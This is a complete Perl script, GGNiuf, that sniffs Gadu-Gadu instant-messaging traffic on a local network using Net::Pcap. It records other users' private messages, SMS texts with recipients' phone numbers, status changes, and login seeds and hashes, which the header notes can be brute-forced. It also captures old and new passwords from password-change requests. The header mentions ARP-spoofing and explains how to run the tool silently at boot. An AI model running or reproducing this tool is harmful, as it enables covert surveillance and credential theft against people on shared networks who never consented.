#!/usr/bin/perl # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # -------------------------------------------------------------------- # # ggniuf.pl - version 1.3 # # Author: Marcin Sarna aka Barca # # @@@@@@@ @@@@@@ @@@@@@@ @@@@@@@ @@@@@@ # @@! @@@ @@! @@@ @@! @@@ !@@ @@! @@@ # @!@!@!@ @!@!@!@! @!@!!@! !@! @!@!@!@! # !!: !!! !!: !!! !!: :!! :!! !!: !!! # :: : :: : : : : : : :: :: : : : : # # marcin@sarna.info barca@linuxstorm.org # # Thx for help to: Aklys, Mpier, neeo # # SCREENSHOT # # ::: GGNiuf started ::: # # 02.11 17:02:26 - 83.82.171.112 Welcomed by server (with seed: 1541257703) # 02.10 17:02:28 - 83.82.171.112 (std) logged (with hash: 612640321) as 7210314 invisible, descr.: Slackware. Because it works. # 02.10 17:02:28 - 83.82.171.112 7235203 status invisible, descr.: Slackware. Because it works. # 02.10 17:08:17 - (std) -> 5125417 : What's up, doc? :) # 02.10 17:10:52 - 83.82.171.112 <- 5125417 : Stupid rabbit :P # 02.10 17:11:39 - 83.82.171.112 has sent SMS -> (603)243021 : Meeting tomorrow at 7 o'clock # # Sniffing properly ended, GGNiuf exits. # # ABOUT # # The purpose of GGNiuf is to sniff packets sent through popular Polish # IM network called Gadu-Gadu. It intercepts messages sent by any of the # most popular clients (like Gadu-Gadu, Kadu, ekg or WP Kontakt). # # FEATURES # # Script shows both outgoing and incoming messages with IP address of # computer in your LAN and interlocutor's GG number. You will also be # notified when someone is logging in to GG network (GGNiuf presents # seed and number/hash used to log in, which can be used to bruteforce # the password). What's more, since version 0.7, it will let you know # about status changes (and eventually show description that was set). # Since version 0.5, GGNiuf is also smart enough to sniff SMS'. # Script will let you know which client program is beeing used - # Gadu-Gadu, Kadu, ekg (std) or WP Kontakt (wpk). # # You're also able to made your computer to read the massages for you. # All you have to do, is to download script called ivonka.sh (available # from ftp.linuxstorm.org/projects/barca/ivonka.sh), which was written # by rush and published on slackware.pl's forum. Next, you need to # change $saying option below to "yes", and specify the correct path to # the script in $ivonka variable. # # You can parse *.cap files generated with tcpdump (e.x. with command # tcpdump -s 0 -w logs.cap), so it's possible to analyse logs being offline. # To do it just execute ggniuf like this: ./ggniuf.pl logs.cap and you # we'll see everything realated to Gadu-Gadu. # # Everything what you can see on your terminal is also logged to file # /var/log/ggniuf.log - you can change it by editing $logfile variable. # If you want to run ggniuf in background, run it by './ggniuf &'. To make # GGNiuf start at system boot, copy ggniuf.pl to /usr/bin and add # to your /etc/rc.d/rc.local (or other start script if you don't have # Slackware): perl ggniuf.pl >> /dev/null & # # TROUBLESHOOTING # # If you can't run script properly, read error message and do what it says. # Probably you'll need to install newest lipcap (http://www.tcpdump.org) # or/and special perl module: Net::Pcap. This module can be downloaded from # http://search.cpan.org/~kcamut/Net-Pcap-0.05/ and installed by typing # 'perl Makefile.PL && make && make test && make install'. Second way to # install Net::Pcap is logging as root and typing 'perl -MCPAN -eshell'. # Then, you can install module with command 'install Net::Pcap'. # # CHANGELOG # # version 1.3 # - now can recognize also packets of Gadu-Gadu 8 (includes new messages about # changing contact's status and all types of other messages without password # changing and SMS) # # version 1.2 # - parsing "promisc" flag (before that version it wasn't respected) (thx to neeo) # - parsing logging with SHA1 hash (thx to neeo) # - parsing messages about changing contact's status (thx to neeo) # - parsing client's version (thx to neeo) # - improved service of segfault, CTRL+C (thx to neeo) # - some minor optimizations (time displaying, open_offline) (thx to neeo) # - some minor adjustments in text formatting (thx to neeo) # # version 1.1 # - new value of variable $gg_servers (thx to Aklys & maniekr7) # - new incoming message's pattern (thx to Aklys) # # version 1.0 # - now can parse *.cab files generated by tcpdump (thx to mpier) # # version 0.9 # - added detection of password's seed and hash (thx to neeo) # - added $gg_servers variable to minimalize unnecessary traffic (thx to zdzichuBG) # # version 0.8 # - added some improvements about detecting hosts behind NAT or runnning more # than one GG account at once (thx to Mpier) # # version 0.7 # - added status changing detection (thx to Mpier) # # version 0.6.5 # - now you can add more than one IP to exclude from sniffing # - added possibility to show hostnames insted of IPs (edit variable $hostname # to manage your hostnames) # # version 0.6 # - added possibility to show nicks instead of user numbers (edit variable # $nick to manage your nicks) # # version 0.5.5 # - added possibility to exclude your IP from sniffing # # version 0.5 # - now sniffs SMS (actually tested successfully on Gadu-Gadu only) # # version 0.4.5 # - some improvements in GG clients' detecting (thx to Aklys) # # version 0.4 # - improved patterns for all packets (outgoing, incoming and logging) to # sniff also some atypical packets (thx to Mpier for information) (thx to Mpier) # # version 0.3 # - pronouncing of sniffied messages and logging in information # (script ivonka.sh is required) # # version 0.2 # - sniffing WP Kontakt packets (thx to Aklys) # - determining communicator: Gadu-Gadu, Kadu, EKG (std) or WP Kontakt (wpk) (thx to Aklys) # - you can now easily change logfile by editing $logfile variable # - improved protection from messages' dual show when doing ARP-spoofing # # version 0.1 # - just works, first public release ;) # # AND... # # Thanks for www.remote-exploit.org for their simple perl script I was # inspired. # # () # (o_ # //\ # <-V_/_ # # Gentoo - demonic penguin use Switch; use Encode; use Net::Pcap; ############ # Settings # ############ my $logfile = "/var/log/ggniuf.log"; # logfile my @excluded = ('192.168.0.2', '192.168.0.3'); # don't show & log packets from & to this IPs (don't use 127.0.0.1) my %nick = ('6666666'=>'devil', '7777777'=>'lucky'); # if user number is 6666666 (7777777), there'll be shown his nick "devil" ("lucky") instead my %hostname = ('192.168.0.4'=>'johnny', '192.168.0.5'=>'myboss'); # if IP is 192.168.0.4 (192.168.0.5), there'll be shown his name "johnny" ("myboss") instead my $saying = "no"; # if set to "yes", you will be notified by voice - script ivonka.sh is needed my $ivonka = "/home/utils/rozne/ivonka.sh"; # path to ivonka.sh my $device = 'wlan0'; # network interface to use my $promisc = 0; # whether we use PROMISC mode for $device my $encode = 'utf8'; # encoding to use (you can try 'iso-8859-2') my $gg_servers = 'net 91.197.13.0/26 or net 91.197.13.65/29 or net 217.17.41.80/28 or net 217.17.45.128/27'; # Gadu-Gadu servers' IP range (to minimalize unnecessary traffic) ############# # Main part # ############# $|=1; $white = "\e[01;37m"; $dcyan = "\e[00;31m"; $green = "\e[00;32m"; $yellow = "\e[01;33m"; $gray = "\e[00m"; sub pcapinit; sub readfunc; sub msg; sub time_show; sub host; sub show; sub ctrl_c; sub status; sub version; my $err = ''; my $cap; my $filter; my $packet = ''; my $excluded_number = @excluded; my %host_port = (); $SIG{INT} = \&ctrl_c; system("clear"); print ":::$dcyan\ GGNiuf started$gray\ :::\n\n"; open (LOG, ">>$logfile"); print LOG "GGNiuf started: "; close LOG; system("date +'%e %b %Y' >> $logfile"); system("chmod 600 $logfile"); pcapinit; sub pcapinit { if ($ARGV[0] eq "") { if ($cap = Net::Pcap::open_live($device, 2000, $promisc, 1000, \$err)) { my ($net, $mask); Net::Pcap::lookupnet($device, \$net, \$mask, \$err); Net::Pcap::compile($cap, \$filter, "$gg_servers", 1, $mask); Net::Pcap::setfilter($cap, $filter); } else { print "\nCould not initiate the open_live() command on $device from the pcap.\nErrors are: $err\n"; print "Are you root?\n\n"; exit; } } else { $cap = Net::Pcap::open_offline($ARGV[0], \$err) or die "\nError while opening file: $err\n\n"; } Net::Pcap::loop($cap, -1, \&readfunc , ''); } sub readfunc { my($data, $header,$packet) = @_; $packet = unpack ('H*',$packet); $timestamp = $header->{tv_sec}; # Message: outgoing if ($packet =~ m/^(\w{44}|\w{48})(..)06\w{4}(..)(..)(..)(..)\w{8}(....)(1f8a|01bb)\w+(0b000000..0.0000|2d000000..000000|5018........0000)(..)(..)(..)\w{10}.8000000(\w+)00/) { $host1 = hex($3); $host2 = hex($4); $host3 = hex($5); $host4 = hex($6); $host = "$host1.$host2.$host3.$host4"; host; $port = hex($7); $direction = "->"; $user = hex("$12$11$10"); $nick_user = $nick{"$user"}; if ($nick_user) { $user = $nick_user; $nick_user = ""; } $gg_nr = $host_port{"${host}_${port}"}; $msg = ""; $msgnr = $13; msg; $ttl_t = $2; if ($9 =~ m/^5018\w+/) { $ggclient = '(wpk)'; } else { $ggclient = '(std)'; } unless ($ttl_o == hex($ttl_t)+1) { show; } $ttl_o = hex($ttl_t); } # Message: incoming if ($packet =~ m/^(\w{44}|\w{48})(..)06\w{12}(..)(..)(..)(..)(1f8a|01bb)(....)\w+(0a000000..0.0000|2e000000..0.0000)(..)(..)(..)\w{18}0(4|5|8|9)(000000..000000..000000|000000)(\w+)00/) { $host1 = hex($3); $host2 = hex($4); $host3 = hex($5); $host4 = hex($6); $host = "$host1.$host2.$host3.$host4"; host; $port = hex($8); $direction = "<-"; $user = hex("$12$11$10"); $nick_user = $nick{"$user"}; if ($nick_user) { $user = $nick_user; $nick_user = ""; } $gg_nr = $host_port{"${host}_${port}"}; $msg = ""; $msgnr = $15; msg; $ttl_t = $2; unless ($ttl_i == hex($ttl_t)+1) { show; } $ttl_i = hex($ttl_t); } # Welcome (seed) if ($packet =~ m/^(\w{44}|\w{48})(..)06\w{12}(..)(..)(..)(..)(1f8a|01bb)(....)\w+(....)\w{12}(0100000004000000)(..)(..)(..)(..)/) { $host1 = hex($3); $host2 = hex($4); $host3 = hex($5); $host4 = hex($6); $host = "$host1.$host2.$host3.$host4"; host; $seed = hex("$14$13$12$11"); $ttl_t = $2; unless ($ttl_i == hex($ttl_t)+1) { time_show; print "$yellow\ $host$white\ Welcomed by server (with seed:$yellow\ $seed$white\)\n"; open(LOG, ">>$logfile"); print LOG "$mon.$mday $hour:$min:$sec - $host Welcomed by server (with seed: $seed) \n"; close LOG; } $ttl_i = hex($ttl_t); } # Logging in if($packet =~ m/^(\w{44}|\w{48})(..)06\w{4}(..)(..)(..)(..)\w{8}(....)(1f8a|01bb)\w+(15000000..000000|19000000..000000|31000000..000000|5018........0000)(..)(..)(..)00(..)(..)(..)(..)(..)(..)(\w{250}|\w{162}|\w{40})(000000|be)(\w*)/) { $host1 = hex($3); $host2 = hex($4); $host3 = hex($5); $host4 = hex($6); $host = "$host1.$host2.$host3.$host4"; host; $port = hex($7); $user = hex("$12$11$10"); if (($9 =~ m/^1900\w+/) || ($9 =~ m/^3100\w+/)) { $hash = 'SHA1'; } else { $hash = hex("$16$15$14$13"); } $nick_user = $nick{"$user"}; if ($nick_user) { $user = $nick_user; $nick_user = ""; } delete $host_port{"${host}_${port}"}; $host_port{"${host}_${port}"} = $user; $status = $17; $private = $18; $msg = ""; $msgnr = $21; msg; status; $ttl_t = $2; if ($9 =~ m/^5018\w+/) { $ggclient = '(wpk)'; } else { $ggclient = '(std)'; } unless ($ttl_l == hex($ttl_t)+1) { time_show; print "$yellow\ $host $ggclient$white\ logged (with hash:$yellow\ $hash$white\) as$yellow\ $user$white\ $msg \n"; if ($saying =~ "yes") { system("$ivonka 'Zalogowano siÄ™ z ajpi $host' >> /dev/null &"); } open(LOG, ">>$logfile"); print LOG "$mon.$mday $hour:$min:$sec - $host $ggclient logged (with hash: $hash) as $user $msg \n"; close LOG; } $ttl_l = hex($ttl_t); } # SMS sending if($packet =~ m/^(\w{44}|\w{48})(..)06\w{4}(..)(..)(..)(..)\w{12}0050\w+2f736d732f73656e64736d732e706870\w+7072656669783d(\w+)266e756d65723d(\w+)266f646b6f676f3d(\w+)26\w+2674656b73743d(\w+)/) { $host1 = hex($3); $host2 = hex($4); $host3 = hex($5); $host4 = hex($6); $host = "$host1.$host2.$host3.$host4"; host; $sms = "yes"; $sms_phone1 = $7; $sms_phone2 = $8; $msg = ""; $msgnr = $sms_phone1; msg; $sms_phone1 = $msg; $msg = ""; $msgnr = $sms_phone2; msg; $sms_phone2 = $msg; $sms_phone = "($sms_phone1)$sms_phone2"; $msg = ""; $msgnr = $10; msg; $sms_msg = $msg; $ttl_t = $2; $sms = "no"; unless ($ttl_l == hex($ttl_t)+1) { time_show; print "$yellow\ $host $white\ has sent SMS$dcyan\ ->$yellow\ $sms_phone$white\ : $sms_msg\n"; if ($saying =~ "yes") { system("$ivonka 'Z ajpi $host wysano esemesa' >> /dev/null &"); } open(LOG, ">>$logfile"); print LOG "$mon.$mday $hour:$min:$sec - $host has sent SMS -> $sms_phone : $sms_msg\n"; close LOG; } $ttl_l = hex($ttl_t); } # Status changing if($packet =~ m/^(\w{44}|\w{48})(..)06\w{4}(..)(..)(..)(..)\w{8}(....)(1f8a|01bb)\w{18}(18)\w+(02000000..000000|38000000..000000)(..)(..)(0000..000000..000000|0000)(\w*)/) { $host1 = hex($3); $host2 = hex($4); $host3 = hex($5); $host4 = hex($6); $host = "$host1.$host2.$host3.$host4"; host; $port = hex($7); $gg_nr = $host_port{"${host}_${port}"}; $status = $11; $private = $12; $msg = ""; $msgnr = $14; msg; status; $user = ""; $ttl_t = $2; unless ($ttl_l == hex($ttl_t)+1) { time_show; print "$yellow\ $host $gg_nr$white\ status$white\ $msg\n"; open(LOG, ">>$logfile"); print LOG "$mon.$mday $hour:$min:$sec - $host $gg_nr status $msg \n"; close LOG; } $ttl_l = hex($ttl_t); } # Status changing - remote if($packet =~ m/^(\w{44}|\w{48})(..)06\w{12}(..)(..)(..)(..)(1f8a|01bb)(....)\w{18}(18)\w+(0f000000..000000|36000000..000000)(..)(..)(..)00(..)(..)\w{10}(..)(..)(\w{24}000000|00)(\w*)/) { $host1 = hex($3); $host2 = hex($4); $host3 = hex($5); $host4 = hex($6); $host = "$host1.$host2.$host3.$host4"; host; $port = hex($8); $user = hex("$13$12$11"); $nick_user = $nick{"$user"}; if ($nick_user) { $user = $nick_user; $nick_user = ""; } $status = $14; $private = '00'; $version = $16; $msg = ""; $msgnr = $19; msg; status; version; $ttl_t = $2; unless ($ttl_l == hex($ttl_t)+1) { time_show; print "$yellow\ $host $user \($ggversion\)$white\ status$white\ $msg\n"; open(LOG, ">>$logfile"); print LOG "$mon.$mday $hour:$min:$sec - $host $user ($ggversion) status $msg \n"; close LOG; } $ttl_l = hex($ttl_t); } # Password changing if ($packet =~ m/^(\w{52}|\w{56})(..)(..)(..)(..)\w{12}0050\w*666d6e756d6265723d(\w*)26666d7077643d(\w*)267077643d(\w*)26656d61696c3d(\w*)26746f6b656e69643d\w*/) { $host1 = hex($2); $host2 = hex($3); $host3 = hex($4); $host4 = hex($5); $host = "$host1.$host2.$host3.$host4"; host; $sms = "yes"; $msg = ""; $msgnr = $6; msg; $user = $msg; $msg = ""; $msgnr = $7; msg; $oldpwd = $msg; $msg = ""; $msgnr = $8; msg; $newpwd = $msg; $msg = ""; $msgnr = $9; msg; if ($msg =~ m/^\w+/) { $mail = "mail: $msg" } else { $mail = "" }; $ttl_t = $2; $sms = "no"; unless ($ttl_l == hex($ttl_t)+1) { time_show; print "$yellow\ $host$white\ user$yellow\ $user$white\ oldpwd: $oldpwd newpwd: $newpwd $mail \n"; open(LOG, ">>$logfile"); print LOG "$mon.$mday $hour:$min:$sec - $host user $user oldpwd: $oldpwd newpwd: $newpwd $mail \n"; close LOG; } $ttl_l = hex($ttl_t); } } sub time_show { our ($sec,$min,$hour,$mday,$mon) = localtime $timestamp; $mon++; foreach $tmp ($sec,$min,$hour,$mday,$mon) { unless ((length $tmp)-1) { $tmp = "0$tmp" } } print "$white$mon.$mday $hour:$min:$sec -"; } sub host { foreach $excluded (@excluded) { if ($excluded =~ $host) { exit pcapinit } } $hostname_ip = $hostname{"$host"}; if ($hostname_ip) { $host = $hostname_ip; $hostname_ip = ""; } } sub msg { for ($counter = 0; $counter < length $msgnr; $counter = $counter + 2) { $msg = $msg.chr(hex(substr($msgnr,$counter,2))); } Encode::from_to($msg, "cp1250", "$encode"); # Encode::_utf8_on($msg); } sub show { time_show; print "$yellow\ $host $gg_nr"; switch ("$direction") { case "->" { print "$yellow\ $ggclient$dcyan\ $direction" } case "<-" { print "$green\ $direction" } } print "$yellow\ $user$white\ : $msg\n"; if($saying =~ "yes") { system("$ivonka '$msg' >> /dev/null &"); } open(LOG, ">>$logfile"); print LOG "$mon.$mday $hour:$min:$sec - $host $gg_nr $ggclient $direction $user : $msg\n"; close LOG; } sub ctrl_c { if ($cap) { Net::Pcap::pcap_breakloop($cap); Net::Pcap::close($cap); print "\nSniffing properly ended, GGNiuf exits.\n"; } } sub status { switch ("$status") { case "01" { $msg = "offline" } case "15" { $msg = "offline, descr.: $msg" } case "02" { $msg = "online" } case "04" { $msg = "online, descr.: $msg" } case "03" { $msg = "busy" } case "05" { $msg = "busy, descr.: $msg" } case "06" { $msg = "blocked" } case "14" { $msg = "invisible" } case "16" { $msg = "invisible, descr.: $msg" } case "17" { $msg = "free for chat" } case "18" { $msg = "free for chat, descr. : $msg" } case "21" { $msg = "do not disturb" } case "22" { $msg = "do not disturb, descr. : $msg" } } if ($private =~ "80") { $msg = "$msg - private" } } sub version { switch ("$version") { case "20" { $ggversion = "GG 6.0b129" } case "21" { $ggversion = "GG 6.0b133" } case "22" { $ggversion = "GG 6.0b140" } case "24" { $ggversion = "GG 6.1b155/7.6b1359" } case "25" { $ggversion = "GG 7.0b1" } case "26" { $ggversion = "GG 7.0b20" } case "27" { $ggversion = "GG 7.0b22" } case "28" { $ggversion = "GG 7.5b2201" } case "29" { $ggversion = "GG 7.6b1688" } case "2a" { $ggversion = "GG 7.7b3315" } case "2d" { $ggversion = "GG 8.0b4881" } case "2e" { $ggversion = "GG 8.0b8283" } else { $ggversion = "GG Unknown" } } }